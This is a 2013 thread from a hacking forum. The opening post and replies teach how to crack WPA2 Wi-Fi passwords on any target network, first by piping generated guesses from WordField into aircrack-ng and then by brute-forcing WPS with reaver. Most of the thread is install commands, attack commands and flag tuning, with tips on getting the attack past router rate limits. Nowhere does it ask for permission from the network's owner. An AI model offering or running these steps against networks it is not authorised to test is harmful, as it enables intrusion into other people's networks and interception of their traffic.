cracking WPA2 without dictionary!

cracking WPA2 without dictionary! - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Network Hacking (https://sinister.ly/Forum-Network-Hacking)
+--- Thread: cracking WPA2 without dictionary! (/Thread-cracking-WPA2-without-dictionary)

Pages: 1 2 3 4

cracking WPA2 without dictionary! - moroaddict - 02-20-2013

so in my last thread i showed you all ways how to crack WPA keys WITH dicionary,now I'm going to teach you 2/3 methods i know how to crack it without a dictionary... LINK TO MY LAST THREAD ABOUT WPA PSK

1.) Combination of aricrack-ng and tool called WordField

So first of all you can download WordField here

For all beginners here is code for installation:

Code:
tar xfvz wordfield-0.1beta1.tar.gz

cd wordfield-0.1beta1/ && make && sudo make install

tar xfvz gonna unzip it
cd - change directory

so you can combine this tool with John the Ripper aswell, so this is extremely fast way to "make" your own dictionary and you can use all alphanumeric also and special letters....Usage of this tool is very simple:

Code:
wordfield [OPTION...] MINLENGTH [MAXLENGTH

so after you enabled interface on monitor mode with airmon-ng and found with airodump-ng network you want to crack open new terminal and type this command:

Code:
wordfield -a -n 8 10 | aircrack-ng  -b BSSID -w - ****.cap

(****) use name of document which ever you want....

-n 8 10 is min and max lenght of key as i told be4....

2.) Second way to crack it without a dictionary is using tool called reaver

So first of all how to get a reaver - just copy paste this code or type 1 by 1 in terminal between &&

Code:
sudo apt-get install libsqlite3-dev && wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz && tar xfvz reaver-1.4.tar.gz && cd reaver-1.4/src/ && ./configure && make && sudo make instal

Now after you enabled your interface mode on mon0 and found network you'd like to crack type this command in new terminal

Code:
sudo reaver -i mon0 -b BSSID -vv

-i interface
-b bssid you found with airodump
-vv give very verbose output

also here is a few more commands for reaver you can type in ( always you can check with --help command list so...)

-dh--small gonna speed it up

-d 0 command to set delay to 0 ( by deafult it's 1)

and 3rd method i'm not talkig about in this thread is Evil Twins Method .... I'm gonna type something about it in next thread it's a bit more complicated....Thanks

_-= THE END=-_

RE: cracking WPA2 without dictionary! - qasim_ali57 - 04-12-2013

nice post Smile

RE: cracking WPA2 without dictionary! - chmod - 04-12-2013

Nice for backtrack users instead of wordfield you can use crunch to feed in your wordlist, which is installed by default

RE: cracking WPA2 without dictionary! - moroaddict - 04-15-2013

thanks qasim_ali57....

.i've never worked with cruch,but i saw few tutorials with it..

RE: cracking WPA2 without dictionary! - chmod - 04-15-2013

Yeah it's much the same thing to be honest just thought it was worth a mention for BT useres

RE: cracking WPA2 without dictionary! - moroaddict - 06-13-2013

Is you're session stucked there or? if it is,try to do it again...reaver usually bugs during the algorithm process so i suggest you to try it a few times...they want you to buy a pro version,so try to include some commands like --dh-small to your command line or set delay to 0 sec (deafult is 1)...
also if you get as output increasing % of job coplete just let it do it's job it's not stucked, it usually takes like 2-10 hours to crack so be patient Smile

RE: cracking WPA2 without dictionary! - chupacabra - 06-23-2013

Constant association failed error while using reaver

here is the script replaced the bssid and essid with x for here though breaking my own network lab

sudo reaver -i mon0 -b xx:xx:xx:xx:xx:xx -e xxxxxxxxx -vv

RE: cracking WPA2 without dictionary! - moroaddict - 06-23-2013

Ahmmm... can you copy you're code here (from reaver and airodump)....
check signal strenght, ( -45 - -60 seems like best range for me to success).
that error can also be found when target router cant read you packages, signal strenght isn't enough strong etc...
you may try to add in your command line -no--nack -d 0 -A etc.

last session i had that error i've solved it with:

reaver -i mon0 -b xx:xx:xx:xx:xx:xx -S -N -L -d 1 -r 5:3 -vv

-d was used for seconds delayed in-between each attempt and -r 5:3 was after 5 attempts wait 3 seconds. This will need to be adjusted to whatever the router can handle

also you can try to increase delay with -d x x=(5,10,15...)

try to wash (walsh)

try to google for solution and also type reaver --help and check all of it's commands....i suggest you to update you're reaver....
there can be many things that are going wrong..just be patient and success is guarantied....

what ever you try, ask me what is the problem and what you want to know i'll explain it to you cuz as i said there can be many things that are going wrong....